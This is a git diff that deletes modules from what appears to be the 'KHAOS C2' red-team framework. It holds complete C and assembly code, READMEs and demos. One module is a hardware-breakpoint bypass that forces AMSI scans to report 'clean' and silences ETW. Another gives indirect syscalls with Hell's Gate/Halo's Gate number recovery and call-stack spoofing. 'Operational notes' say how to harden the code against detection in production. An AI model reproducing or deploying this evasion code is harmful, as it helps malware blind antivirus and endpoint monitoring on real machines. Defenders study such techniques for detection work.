-- **Revocable at runtime** — clear Dr7 bits to disable without touching any DLL - -The tradeoff: Dr0–Dr3 are also used by debuggers and some EDR products. If a debugger owns those registers, conflicts can occur. - ---- - -## API - -```c -void hwbp_patch_etw(void); // arm Dr0 -> EtwEventWrite -void hwbp_patch_amsi(void); // arm Dr1 -> AmsiScanBuffer, Dr2 -> AmsiScanString -void hwbp_patch_all(void); // arm all three - -void hwbp_apply_thread(HANDLE ht); // propagate active breakpoints to another thread -``` - -`hwbp_apply_thread` is useful when spawning new threads (e.g. the timer thread in sleep obfuscation) that will also call ETW-instrumented code. - ---- - -## Integration with sleep-obf - -The `.run` section attribute on `_hwbp_veh` keeps the handler executable when `.text` is `PAGE_NOACCESS` during obfuscated sleep: - -```c -// in your sleep callback, before encrypting .text: -g_sleep_obf_thread_hook = hwbp_apply_thread; -sleep_obf(5000); -``` - -This ensures the timer thread also has the breakpoints armed and won't trigger ETW during sleep. - ---- - -## Build - -```bash -make -./build/demo.exe -``` - -Expected output (on a system with AMSI loaded): - -``` -[*] without bypass: -[before] hr=0x00000000 result=32 detected=YES -[*] arming HWBP bypass... -[+] armed -[*] with bypass: -[after ] hr=0x80070057 result=0 detected=no -``` - ---- - -## Limitations - -- x64 only. -- Debug registers are thread-local. Call `hwbp_apply_thread` for every thread that needs the bypass. -- Some EDR products monitor `SetThreadContext` calls that modify debug registers. The call on `GetCurrentThread()` is less visible than cross-thread calls. -- If a kernel-mode ETW provider (`EtwTi*`) is active, this bypass does not cover it. See the ntdll-unhook technique for `EtwTiLogOpenProcess` / `EtwTiLogReadWriteVm` / `EtwTiLogDuplicateHandle`. - ---- - -## Operational notes - -This PoC uses plaintext strings and `GetModuleHandleA`. In production: - -- Resolve modules via PEB walk (`__readgsqword(0x60)`) -- Encrypt string literals at compile time -- Use `LoadLibraryA` only if amsi.dll is not already in the PEB module list — calling `LoadLibraryA` itself is a detectable event - ---- - -*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)* diff --git a/techniques/hwbp-evasion/include/hwbp_evasion.h b/techniques/hwbp-evasion/include/hwbp_evasion.h deleted file mode 100644 index 2c88e3d..0000000 --- a/techniques/hwbp-evasion/include/hwbp_evasion.h +++ /dev/null @@ -1,18 +0,0 @@ -#pragma once -#include - -/* - * hwbp_patch_etw() — arm Dr0 on EtwEventWrite - * hwbp_patch_amsi() — arm Dr1 on AmsiScanBuffer, Dr2 on AmsiScanString - * hwbp_patch_all() — arm all three (ETW + AMSI) - * - * Each call is idempotent — safe to call multiple times. - * Registers a VEH handler on first call. - * - * hwbp_apply_thread(ht) — propagate active breakpoints to another thread - * (e.g. a timer thread created during sleep obfuscation) - */ -void hwbp_patch_etw(void); -void hwbp_patch_amsi(void); -void hwbp_patch_all(void); -void hwbp_apply_thread(HANDLE hThread); diff --git a/techniques/hwbp-evasion/src/demo.c b/techniques/hwbp-evasion/src/demo.c deleted file mode 100644 index e059370..0000000 --- a/techniques/hwbp-evasion/src/demo.c +++ /dev/null @@ -1,83 +0,0 @@ -#include "hwbp_evasion.h" -#include -#include - -/* AMSI types — no amsi.h dependency */ -typedef void *HAMSICONTEXT; -typedef void *HAMSISESSION; -typedef int AMSI_RESULT; -#define AMSI_RESULT_CLEAN 0 -#define AMSI_RESULT_DETECTED 32768 - -typedef HRESULT (WINAPI *AmsiInitialize_t) (LPCWSTR, HAMSICONTEXT *); -typedef HRESULT (WINAPI *AmsiOpenSession_t) (HAMSICONTEXT, HAMSISESSION *); -typedef HRESULT (WINAPI *AmsiScanBuffer_t) (HAMSICONTEXT, void *, ULONG, LPCWSTR, HAMSISESSION, AMSI_RESULT *); -typedef void (WINAPI *AmsiCloseSession_t)(HAMSICONTEXT, HAMSISESSION); -typedef void (WINAPI *AmsiUninitialize_t)(HAMSICONTEXT); - -static struct { - AmsiInitialize_t Init; - AmsiOpenSession_t OpenSession; - AmsiScanBuffer_t ScanBuffer; - AmsiCloseSession_t CloseSession; - AmsiUninitialize_t Uninit; -} amsi; - -static int load_amsi(void) -{ - HMODULE h = LoadLibraryA("amsi.dll"); - if (!h) return 0; - amsi.Init = (AmsiInitialize_t) GetProcAddress(h, "AmsiInitialize"); - amsi.OpenSession = (AmsiOpenSession_t) GetProcAddress(h, "AmsiOpenSession"); - amsi.ScanBuffer = (AmsiScanBuffer_t) GetProcAddress(h, "AmsiScanBuffer"); - amsi.CloseSession = (AmsiCloseSession_t)GetProcAddress(h, "AmsiCloseSession"); - amsi.Uninit = (AmsiUninitialize_t)GetProcAddress(h, "AmsiUninitialize"); - return amsi.Init && amsi.ScanBuffer; -} - -static void test_amsi(const char *label) -{ - HAMSICONTEXT ctx = NULL; - HAMSISESSION ses = NULL; - - if (FAILED(amsi.Init(L"hwbp-demo", &ctx))) { - printf("[%s] AmsiInitialize failed\n", label); - return; - } - amsi.OpenSession(ctx, &ses); - - /* EICAR test string — blocked by every AV engine */ - const char eicar[] = - "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"; - - AMSI_RESULT result = AMSI_RESULT_CLEAN; - HRESULT hr = amsi.ScanBuffer(ctx, (void *)eicar, (ULONG)(sizeof(eicar) - 1), - L"eicar", ses, &result); - - printf("[%s] hr=0x%08lX result=%d detected=%s\n", - label, (unsigned long)hr, (int)result, - result >= AMSI_RESULT_DETECTED ? "YES" : "no"); - - amsi.CloseSession(ctx, ses); - amsi.Uninit(ctx); -} - -int main(void) -{ - if (!load_amsi()) { - printf("[!] amsi.dll not available\n"); - return 1; - } - - printf("[*] without bypass:\n"); - test_amsi("before"); - - printf("[*] arming HWBP (ETW + AMSI)...\n"); - hwbp_patch_all(); - printf("[+] armed Dr0=EtwEventWrite Dr1=AmsiScanBuffer Dr2=AmsiScanString\n"); - - printf("[*] with bypass:\n"); - test_amsi("after "); - - return 0; -} diff --git a/techniques/hwbp-evasion/src/hwbp_evasion.c b/techniques/hwbp-evasion/src/hwbp_evasion.c deleted file mode 100644 index 4a31125..0000000 --- a/techniques/hwbp-evasion/src/hwbp_evasion.c +++ /dev/null @@ -1,128 +0,0 @@ -#include "hwbp_evasion.h" -#include -#include - -/* - * PoC note: uses GetModuleHandleA/LoadLibraryA/GetProcAddress with plaintext - * strings. In production, replace with a PEB walk and encrypted string storage. - * See agent/src/evasion/evasion.c in KHAOS C2 for the hardened version. - */ - -static LPVOID g_etw_fn = NULL; /* EtwEventWrite -> Dr0 */ -static LPVOID g_amsi_fn = NULL; /* AmsiScanBuffer -> Dr1 */ -static LPVOID g_amsi_scan_fn = NULL; /* AmsiScanString -> Dr2 */ -static PVOID g_veh = NULL; - -/* - * VEH handler — must live in a section other than .text so it keeps executing - * if .text is PAGE_NOACCESS during sleep obfuscation (see sleep-obf technique). - * - * On EXCEPTION_SINGLE_STEP at a watched address: - * EtwEventWrite -> Rax = STATUS_SUCCESS (0) -> ETW call silently succeeds - * AmsiScanBuffer -> Rax = E_INVALIDARG (0x80070057) -> scan returns "clean" - * AmsiScanString -> Rax = E_INVALIDARG (0x80070057) -> scan returns "clean" - * - * Rip is advanced past the call by reading the return address off the stack, - * and the corresponding Bx status bit in Dr6 is cleared. - */ -__attribute__((section(".run"), noinline)) -static LONG WINAPI _hwbp_veh(EXCEPTION_POINTERS *ep) -{ - if (ep->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP) - return EXCEPTION_CONTINUE_SEARCH; - - CONTEXT *ctx = ep->ContextRecord; - BOOL handled = FALSE; - - if (g_etw_fn && (LPVOID)(uintptr_t)ctx->Rip == g_etw_fn) { - ctx->Rax = 0; - ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp; - ctx->Rsp += 8; - ctx->Dr6 &= ~(DWORD64)0x1; - handled = TRUE; - } - - if (g_amsi_fn && (LPVOID)(uintptr_t)ctx->Rip == g_amsi_fn) { - ctx->Rax = 0x80070057; - ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp; - ctx->Rsp += 8; - ctx->Dr6 &= ~(DWORD64)0x2; - handled = TRUE; - } - - if (g_amsi_scan_fn && (LPVOID)(uintptr_t)ctx->Rip == g_amsi_scan_fn) { - ctx->Rax = 0x80070057; - ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp; - ctx->Rsp += 8; - ctx->Dr6 &= ~(DWORD64)0x4; - handled = TRUE; - } - - return handled ? EXCEPTION_CONTINUE_EXECUTION : EXCEPTION_CONTINUE_SEARCH; -} - -static void _ensure_veh(void) -{ - if (!g_veh) - g_veh = AddVectoredExceptionHandler(1, _hwbp_veh); -} - -/* Write Dr0/Dr1/Dr2/Dr7 on a thread via GetThreadContext/SetThreadContext */ -void hwbp_apply_thread(HANDLE hThread) -{ - if (!g_etw_fn && !g_amsi_fn && !g_amsi_scan_fn) return; - - CONTEXT ctx; - ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; - if (!GetThreadContext(hThread, &ctx)) return; - - if (g_etw_fn) ctx.Dr0 = (DWORD64)(uintptr_t)g_etw_fn; - if (g_amsi_fn) ctx.Dr1 = (DWORD64)(uintptr_t)g_amsi_fn; - if (g_amsi_scan_fn) ctx.Dr2 = (DWORD64)(uintptr_t)g_amsi_scan_fn; - - /* - * Dr7 encoding: - * Bits 0,2,4 = local enable for Dr0, Dr1, Dr2 - * Clear bits [15:0] first to reset any existing conditions, - * then set only the breakpoints we have targets for. - */ - ctx.Dr7 &= ~(DWORD64)0x0FFF0015; - ctx.Dr7 |= g_etw_fn ? 0x01 : 0; - ctx.Dr7 |= g_amsi_fn ? 0x04 : 0; - ctx.Dr7 |= g_amsi_scan_fn ? 0x10 : 0; - - SetThreadContext(hThread, &ctx); -} - -void hwbp_patch_etw(void) -{ - if (!g_etw_fn) { - HMODULE h = GetModuleHandleA("ntdll.dll"); - if (h) g_etw_fn = (LPVOID)GetProcAddress(h, "EtwEventWrite"); - } - _ensure_veh(); - hwbp_apply_thread(GetCurrentThread()); -} - -void hwbp_patch_amsi(void) -{ - if (!g_amsi_fn || !g_amsi_scan_fn) { - /* amsi.dll may not be loaded yet — force load it */ - HMODULE h = GetModuleHandleA("amsi.dll"); - if (!h) h = LoadLibraryA("amsi.dll"); - if (h) { - if (!g_amsi_fn) - g_amsi_fn = (LPVOID)GetProcAddress(h, "AmsiScanBuffer"); - if (!g_amsi_scan_fn) - g_amsi_scan_fn = (LPVOID)GetProcAddress(h, "AmsiScanString"); - } - } - _ensure_veh(); - hwbp_apply_thread(GetCurrentThread()); -} - -void hwbp_patch_all(void) -{ - hwbp_patch_etw(); - hwbp_patch_amsi(); -} diff --git a/techniques/indirect-syscalls/Makefile b/techniques/indirect-syscalls/Makefile deleted file mode 100644 index 25ed28a..0000000 --- a/techniques/indirect-syscalls/Makefile +++ /dev/null @@ -1,33 +0,0 @@ -CC = x86_64-w64-mingw32-gcc -CFLAGS = -O2 -Wall -Wextra \ - -Iinclude \ - -fno-asynchronous-unwind-tables \ - -fno-ident \ - -fno-stack-protector -LDFLAGS = -lntdll - -SRC_C = src/indirect_syscall.c src/demo.c -SRC_S = src/spoof_stub.S -OBJ_C = $(patsubst src/%.c, build/%.o, $(SRC_C)) -OBJ_S = $(patsubst src/%.S, build/%.o, $(SRC_S)) -OBJ = $(OBJ_C) $(OBJ_S) -TARGET = build/demo.exe - -all: build $(TARGET) - -build: - mkdir -p build - -build/%.o: src/%.c - $(CC) $(CFLAGS) -c $< -o $@ - -build/%.o: src/%.S - $(CC) $(CFLAGS) -c $< -o $@ - -$(TARGET): $(OBJ) - $(CC) $(CFLAGS) $(OBJ) -o $@ $(LDFLAGS) - -clean: - rm -rf build - -.PHONY: all clean diff --git a/techniques/indirect-syscalls/README.md b/techniques/indirect-syscalls/README.md deleted file mode 100644 index 8b64749..0000000 --- a/techniques/indirect-syscalls/README.md +++ /dev/null @@ -1,195 +0,0 @@ -# indirect-syscalls - -Indirect syscalls with Hell's Gate + Halo's Gate SSN resolution and 2-frame call-stack spoofing for Windows x64. - -Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2). - ---- - -## What this solves - -EDR products hook userland syscall stubs in ntdll by overwriting their first bytes with a JMP to a monitoring trampoline: - -``` -NtOpenProcess (hooked): - E9 xx xx xx xx JMP - ... - -NtOpenProcess (clean): - 4C 8B D1 mov r10, rcx - B8 26 00 00 00 mov eax, 0x26 ; SSN - 0F 05 syscall - C3 ret -``` - -Two problems to solve: - -1. **SSN recovery** — the `mov eax` is gone; we need to find the real syscall number. -2. **syscall origin** — even with the right SSN, a `syscall` instruction in our own code is flagged by telemetry that checks the source module. The instruction must appear to come from ntdll. - ---- - -## How it works - -### SSN resolution - -**Hell's Gate** (unhooked stub): - -``` -fn[0..3] == 4C 8B D1 B8 → SSN = *(uint16_t *)(fn + 4) -``` - -**Halo's Gate** (hooked stub — JMP trampoline at fn[0]): - -Walk ntdll's EAT to find the position of `name` in the sorted name table, then scan neighbors ±32 positions for a clean `4C 8B D1 B8` stub. Since Nt* syscalls are numbered in sorted-name order, a clean neighbor at distance `d` has `SSN ± d`: - -``` -for d in 1..32: - neighbor_at(idx - d) → SSN = neighbor_ssn + d - neighbor_at(idx + d) → SSN = neighbor_ssn - d -``` - -### Indirect syscall gadget - -Scan ntdll `.text` for the byte sequence `0F 05 C3` (`syscall; ret`). Any Nt* stub contains it. Jumping into this gadget makes ETW telemetry record the source as ntdll, not our implant. - -### Call-stack spoofing - -Before the jump to the gadget, two fake return addresses are pushed onto the stack: - -``` -[rsp+0x00] = ret in KernelBase .text ← inner spoof frame -[rsp+0x08] = ret in ntdll .text ← outer spoof frame -[rsp+0x10] = real return address (our code) -``` - -Stack walk during the syscall shows: -``` -NtXxx → KernelBase! → ntdll! → [our code] -``` - -Rather than: -``` -NtXxx → [our code] ← obvious -``` - -### Argument remapping (`spoof_stub.S`) - -Windows x64 calling convention → Nt* ABI: - -``` -rcx (ssn) → eax (syscall number) -rdx (a1) → r10 (first Nt* arg — Nt* stubs do: mov r10,rcx; then syscall clobbers rcx) -r8 (a2) → rdx -r9 (a3) → r8 -[+0x28] a4 → r9 -[+0x28..0x58]: a5..a11 shifted down by 0x10 to account for the 2 pushed spoof frames -``` - ---- - -## API - -```c -#include "indirect_syscall.h" - -// Initialize — find gadgets. Call once before sc_ssn/sc_call. -// Returns 0 on success, -1 if ntdll has no syscall;ret sequence. -int sc_init(void); - -// Resolve SSN for any Nt* function. -// Hell's Gate if stub is clean; Halo's Gate if hooked. -// Returns 0xFFFF on failure. -uint16_t sc_ssn(const char *name); - -// Indirect syscall with call-stack spoofing. -// Caller must zero unused trailing args. -NTSTATUS sc_call(uint16_t ssn, - uintptr_t a1, uintptr_t a2, uintptr_t a3, - uintptr_t a4, uintptr_t a5, uintptr_t a6, - uintptr_t a7, uintptr_t a8, uintptr_t a9, - uintptr_t a10, uintptr_t a11); -``` - -### Example - -```c -sc_init(); - -uint16_t ssn = sc_ssn("NtAllocateVirtualMemory"); - -HANDLE proc = (HANDLE)(LONG_PTR)-1; -PVOID base = NULL; -SIZE_T sz = 0x1000; - -NTSTATUS st = sc_call(ssn, - (uintptr_t)proc, - (uintptr_t)&base, - 0, - (uintptr_t)&sz, - MEM_COMMIT | MEM_RESERVE, - PAGE_READWRITE, - 0, 0, 0, 0, 0); -``` - ---- - -## Build - -Requires MinGW-w64 cross-compiler. - -```bash -make -./build/demo.exe -``` - -Expected output: - -``` -[+] sc_gadget = 00007ffe2fd9fbe2 (syscall;ret in ntdll .text) -[+] sc_frame1 = 00007ffe2d2031c9 (KernelBase ret gadget) -[+] sc_frame2 = 00007ffe2fc441d9 (ntdll ret gadget) - -[*] SSN NtAllocateVirtualMemory = 0x0018 -[*] SSN NtProtectVirtualMemory = 0x0050 -[*] SSN NtFreeVirtualMemory = 0x001E -[*] SSN NtWriteVirtualMemory = 0x003A -[*] SSN NtOpenProcess = 0x0026 - -[+] NtAllocateVirtualMemory: base=... sz=0x1000 st=0x00000000 -[+] NtProtectVirtualMemory: st=0x00000000 old_prot=0x4 -[*] VirtualQuery Protect = 0x20 (expected 0x20 = PAGE_EXECUTE_READ) -[+] page is PAGE_EXECUTE_READ — indirect syscalls working correctly -``` - ---- - -## Limitations - -- x64 only. -- Halo's Gate scans ±32 neighbors. If all 64 neighbors are hooked (uncommon), SSN resolution fails and `sc_ssn()` returns `0xFFFF`. -- Call-stack spoofing is 2 frames deep. A thorough stack inspection (unwind data validation, module range checks) will see our code at `[rsp+0x10]`. Full synthetic stack spoofing requires building proper unwind data and a complete ROP frame chain — out of scope for this PoC. -- `sc_ssn()` uses `strcmp` on EAT names, which are ASCII and sorted. This is standard EAT iteration with no obfuscation — replace with a hash walk in production. -- Gadget addresses change on every reboot (ASLR). `sc_init()` must be called in-process. - ---- - -## Operational notes - -This PoC uses `GetModuleHandleA`/`GetProcAddress` with plaintext strings. In production: - -- Replace with a PEB walk (`__readgsqword(0x60)`) to resolve modules. -- Encrypt sensitive string literals (see EVS XOR in KHAOS C2). -- Call `sc_init()` early — before EDR DLLs load via `DLL_PROCESS_ATTACH` if possible. - -The `sc_gadget` address can be cached; it points into ntdll `.text` which is stable within a process lifetime (even after ntdll unhooking, the `syscall;ret` bytes remain). - ---- - -## Credits - -Technique originally described by [Hell's Gate](https://github.com/am0nsec/HellsGate) (am0nsec / smelly__vx) and extended by [Halo's Gate](https://blog.sektor7.net/#!res/2021/halosgate.md) (Sektor7). Call-stack spoofing approach from [SilentMoonwalk](https://github.com/klezVirus/SilentMoonwalk) (klezVirus). This implementation integrates all three into a single compact dispatcher. - ---- - -*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)* diff --git a/techniques/indirect-syscalls/build/demo.exe b/techniques/indirect-syscalls/build/demo.exe deleted file mode 100644 index 2132762..0000000 Binary files a/techniques/indirect-syscalls/build/demo.exe and /dev/null differ diff --git a/techniques/indirect-syscalls/build/demo.o b/techniques/indirect-syscalls/build/demo.o deleted file mode 100644 index 4e3ded1..0000000 Binary files a/techniques/indirect-syscalls/build/demo.o and /dev/null differ diff --git a/techniques/indirect-syscalls/build/indirect_syscall.o b/techniques/indirect-syscalls/build/indirect_syscall.o deleted file mode 100644 index 9eb6353..0000000 Binary files a/techniques/indirect-syscalls/build/indirect_syscall.o and /dev/null differ diff --git a/techniques/indirect-syscalls/build/spoof_stub.o b/techniques/indirect-syscalls/build/spoof_stub.o deleted file mode 100644 index 9e2ca09..0000000 Binary files a/techniques/indirect-syscalls/build/spoof_stub.o and /dev/null differ diff --git a/techniques/indirect-syscalls/include/indirect_syscall.h b/techniques/indirect-syscalls/include/indirect_syscall.h deleted file mode 100644 index c5338c7..0000000 --- a/techniques/indirect-syscalls/include/indirect_syscall.h +++ /dev/null @@ -1,54 +0,0 @@ -#pragma once -#include -#include - -/* - * PoC note: this file uses GetModuleHandleA/GetProcAddress for simplicity. - * In production, replace with a PEB walk and EVS XOR string obfuscation. - */ - -/* - * Pointers used by spoof_stub.S — must be initialized by sc_init(). - * sc_gadget : syscall;ret sequence inside ntdll .text - * sc_frame1 : single `ret` in KernelBase .text (inner spoof frame) - * sc_frame2 : single `ret` in ntdll .text (outer spoof frame) - */ -extern void *sc_gadget; -extern void *sc_frame1; -extern void *sc_frame2; - -/* - * sc_init() — find gadgets, must be called once before sc_ssn/sc_call. - * Returns 0 on success, -1 if ntdll has no syscall;ret sequence. - */ -int sc_init(void); - -/* - * sc_ssn(name) — resolve the syscall number for an Nt* function. - * - * Hell's Gate : stub starts with `4C 8B D1 B8 xx xx` → read SSN directly. - * Halo's Gate : stub hooked (JMP trampoline) → walk EAT for a clean neighbor, - * then compute SSN by adjusting the neighbor's SSN by the delta. - * - * Returns 0xFFFF on failure. - */ -uint16_t sc_ssn(const char *name); - -/* - * sc_call(ssn, a1..a11) — indirect syscall dispatcher. - * - * - Jumps to a `syscall;ret` gadget inside ntdll .text (not our own code). - * - Pushes two fake return addresses onto the stack before the jmp: - * [rsp+0x00] = sc_frame1 (ret in KernelBase .text) - * [rsp+0x08] = sc_frame2 (ret in ntdll .text) - * Stack walk during the syscall shows: Nt* → KernelBase → ntdll → caller. - * - Remaps arguments to Windows Nt* ABI (r10=a1, rdx=a2, r8=a3, r9=a4, - * a5..a11 on stack at [rsp+0x28..]). - * - * Caller must zero unused trailing args. - */ -extern NTSTATUS sc_call(uint16_t ssn, - uintptr_t a1, uintptr_t a2, uintptr_t a3, - uintptr_t a4, uintptr_t a5, uintptr_t a6, - uintptr_t a7, uintptr_t a8, uintptr_t a9, - uintptr_t a10, uintptr_t a11); diff --git a/techniques/indirect-syscalls/src/demo.c b/techniques/indirect-syscalls/src/demo.c deleted file mode 100644 index e1248b8..0000000 --- a/techniques/indirect-syscalls/src/demo.c +++ /dev/null @@ -1,117 +0,0 @@ -#include "indirect_syscall.h" -#include -#include - -/* - * Demo: allocate a page via indirect NtAllocateVirtualMemory, write bytes, - * flip to PAGE_EXECUTE_READ via indirect NtProtectVirtualMemory, verify. - * - * On an EDR-hooked system, sc_ssn() uses Halo's Gate to recover the real SSN - * even when the syscall stub starts with a JMP trampoline. - */ - -int main(void) -{ - printf("[*] sc_init()...\n"); - if (sc_init() != 0) { - printf("[!] sc_init failed — no syscall;ret gadget found in ntdll .text\n"); - return 1; - } - - printf("[+] sc_gadget = %p (syscall;ret in ntdll .text — indirect jmp target)\n", - sc_gadget); - printf("[+] sc_frame1 = %p (KernelBase ret gadget — inner spoof frame)\n", - sc_frame1); - printf("[+] sc_frame2 = %p (ntdll ret gadget — outer spoof frame)\n\n", - sc_frame2); - - /* Resolve SSNs */ - uint16_t ssn_alloc = sc_ssn("NtAllocateVirtualMemory"); - uint16_t ssn_prot = sc_ssn("NtProtectVirtualMemory"); - uint16_t ssn_free = sc_ssn("NtFreeVirtualMemory"); - uint16_t ssn_write = sc_ssn("NtWriteVirtualMemory"); - uint16_t ssn_open = sc_ssn("NtOpenProcess"); - - printf("[*] SSN NtAllocateVirtualMemory = 0x%04X\n", ssn_alloc); - printf("[*] SSN NtProtectVirtualMemory = 0x%04X\n", ssn_prot); - printf("[*] SSN NtFreeVirtualMemory = 0x%04X\n", ssn_free); - printf("[*] SSN NtWriteVirtualMemory = 0x%04X\n", ssn_write); - printf("[*] SSN NtOpenProcess = 0x%04X\n\n", ssn_open); - - if (ssn_alloc == 0xFFFF || ssn_prot == 0xFFFF) { - printf("[!] SSN resolve failed — Halo's Gate unable to find clean neighbor\n"); - return 1; - } - - /* - * NtAllocateVirtualMemory(ProcessHandle, BaseAddress, ZeroBits, - * RegionSize, AllocationType, Protect) - */ - HANDLE proc = (HANDLE)(LONG_PTR)-1; /* current process */ - PVOID base = NULL; - SIZE_T sz = 0x1000; - - NTSTATUS st = sc_call(ssn_alloc, - (uintptr_t)proc, - (uintptr_t)&base, - 0, - (uintptr_t)&sz, - (uintptr_t)(MEM_COMMIT | MEM_RESERVE), - (uintptr_t)PAGE_READWRITE, - 0, 0, 0, 0, 0); - - if (st != 0 || !base) { - printf("[!] NtAllocateVirtualMemory failed: 0x%08X\n", (unsigned)st); - return 1; - } - printf("[+] NtAllocateVirtualMemory: base=%p sz=0x%zX st=0x%08X\n", - base, sz, (unsigned)st); - - /* Write a recognizable marker — page is PAGE_READWRITE at this point */ - ((BYTE *)base)[0] = 0xDE; - ((BYTE *)base)[1] = 0xAD; - ((BYTE *)base)[2] = 0xBE; - ((BYTE *)base)[3] = 0xEF; - - /* - * NtProtectVirtualMemory(ProcessHandle, BaseAddress, RegionSize, - * NewProtect, OldProtect) - */ - PVOID pbase = base; - SIZE_T psz = 0x1000; - ULONG old = 0; - - st = sc_call(ssn_prot, - (uintptr_t)proc, - (uintptr_t)&pbase, - (uintptr_t)&psz, - (uintptr_t)PAGE_EXECUTE_READ, - (uintptr_t)&old, - 0, 0, 0, 0, 0, 0); - - printf("[%c] NtProtectVirtualMemory: st=0x%08X old_prot=0x%lX\n", - st == 0 ? '+' : '!', (unsigned)st, old); - - /* Verify via VirtualQuery — does not go through ntdll hooks */ - MEMORY_BASIC_INFORMATION mbi = {0}; - VirtualQuery(base, &mbi, sizeof(mbi)); - printf("[*] VirtualQuery Protect = 0x%lX (expected 0x%lX = PAGE_EXECUTE_READ)\n", - mbi.Protect, (ULONG)PAGE_EXECUTE_READ); - - BOOL ok = (st == 0 && mbi.Protect == PAGE_EXECUTE_READ); - printf("[%c] page is %s\n", ok ? '+' : '!', - ok ? "PAGE_EXECUTE_READ — indirect syscalls working correctly" - : "UNEXPECTED — check output above"); - - /* NtFreeVirtualMemory */ - PVOID fbase = base; - SIZE_T fsz = 0; - sc_call(ssn_free, - (uintptr_t)proc, - (uintptr_t)&fbase, - (uintptr_t)&fsz, - (uintptr_t)MEM_RELEASE, - 0, 0, 0, 0, 0, 0, 0); - - return ok ? 0 : 1; -} diff --git a/techniques/indirect-syscalls/src/indirect_syscall.c b/techniques/indirect-syscalls/src/indirect_syscall.c deleted file mode 100644 index dfe0412..0000000 --- a/techniques/indirect-syscalls/src/indirect_syscall.c +++ /dev/null @@ -1,96 +0,0 @@ -#include "indirect_syscall.h" -#include -#include -#include - -void *sc_gadget = NULL; -void *sc_frame1 = NULL; -void *sc_frame2 = NULL; - -/* Scan ntdll/KernelBase .text for a byte sequence starting at min_off bytes in. */ -static BYTE *_find_seq(HMODULE h, const BYTE *seq, int seqlen, SIZE_T min_off) -{ - if (!h) return NULL; - IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)(void *)h; - IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)h + dos->e_lfanew); - IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt); - for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) { - if (memcmp(sec->Name, ".text", 5) != 0) continue; - BYTE *base = (BYTE *)h + sec->VirtualAddress; - SIZE_T sz = sec->Misc.VirtualSize; - for (SIZE_T j = min_off; j + (SIZE_T)seqlen <= sz; j++) { - int ok = 1; - for (int k = 0; k < seqlen; k++) - if (base[j + k] != seq[k]) { ok = 0; break; } - if (ok) return base + j; - } - } - return NULL; -} - -int sc_init(void) -{ - HMODULE ntdll = GetModuleHandleA("ntdll.dll"); - HMODULE kbase = GetModuleHandleA("KernelBase.dll"); - if (!ntdll) return -1; - - /* syscall;ret = 0F 05 C3 */ - static const BYTE gadget_seq[] = { 0x0F, 0x05, 0xC3 }; - sc_gadget = _find_seq(ntdll, gadget_seq, 3, 0); - if (!sc_gadget) return -1; - - /* ret gadgets for call-stack spoofing — skip first few KB to stay in body code */ - static const BYTE ret_seq[] = { 0xC3 }; - if (kbase) sc_frame1 = _find_seq(kbase, ret_seq, 1, 0x2000); - sc_frame2 = _find_seq(ntdll, ret_seq, 1, 0x3000); - - /* fallback: both frames in ntdll if KernelBase ret not found */ - if (!sc_frame1) sc_frame1 = sc_frame2; - if (!sc_frame2) return -1; - - return 0; -} - -uint16_t sc_ssn(const char *name) -{ - HMODULE ntdll = GetModuleHandleA("ntdll.dll"); - if (!ntdll) return 0xFFFF; - - BYTE *fn = (BYTE *)(void *)GetProcAddress(ntdll, name); - if (!fn) return 0xFFFF; - - /* Hell's Gate: stub is clean — read SSN from mov eax, */ - if (fn[0] == 0x4C && fn[1] == 0x8B && fn[2] == 0xD1 && fn[3] == 0xB8) - return *(uint16_t *)(fn + 4); - - /* Halo's Gate: stub is hooked — scan EAT for an unhooked neighbor */ - IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)(void *)ntdll; - IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)ntdll + dos->e_lfanew); - IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *) - ((BYTE *)ntdll + nt->OptionalHeader.DataDirectory[0].VirtualAddress); - - DWORD *names = (DWORD *)((BYTE *)ntdll + exp->AddressOfNames); - DWORD *funcs = (DWORD *)((BYTE *)ntdll + exp->AddressOfFunctions); - WORD *ords = (WORD *)((BYTE *)ntdll + exp->AddressOfNameOrdinals); - - int idx = -1; - for (DWORD i = 0; i < exp->NumberOfNames; i++) { - if (strcmp((char *)((BYTE *)ntdll + names[i]), name) == 0) { - idx = (int)i; - break; - } - } - if (idx < 0) return 0xFFFF; - - /* scan up to 32 neighbors in both directions */ - for (int d = 1; d <= 32; d++) { - for (int s = -1; s <= 1; s += 2) { - int ni = idx + s * d; - if (ni < 0 || ni >= (int)exp->NumberOfNames) continue; - BYTE *nb = (BYTE *)ntdll + funcs[ords[ni]]; - if (nb[0] == 0x4C && nb[1] == 0x8B && nb[2] == 0xD1 && nb[3] == 0xB8) - return (uint16_t)(*(uint16_t *)(nb + 4) - (uint16_t)(s * d)); - } - } - return 0xFFFF; -} diff --git a/techniques/indirect-syscalls/src/spoof_stub.S b/techniques/indirect-syscalls/src/spoof_stub.S deleted file mode 100644 index d160fa0..0000000 --- a/techniques/indirect-syscalls/src/spoof_stub.S +++ /dev/null @@ -1,69 +0,0 @@ -/* - * sc_call(ssn, a1..a11) — indirect syscall with 2-frame call-stack spoofing. - * - * On entry (Windows x64 ABI): - * rcx = ssn (uint16_t syscall number) - * rdx = a1 (1st Nt* arg) - * r8 = a2 - * r9 = a3 - * [rsp+0x28] = a4 - * [rsp+0x30] = a5 - * [rsp+0x38] = a6 - * [rsp+0x40] = a7 - * [rsp+0x48] = a8 - * [rsp+0x50] = a9 - * [rsp+0x58] = a10 - * [rsp+0x60] = a11 - * - * Stack layout after jmp (what the kernel / ETW stack walk sees): - * [rsp+0x00] = sc_frame1 (ret in KernelBase .text — inner spoof frame) - * [rsp+0x08] = 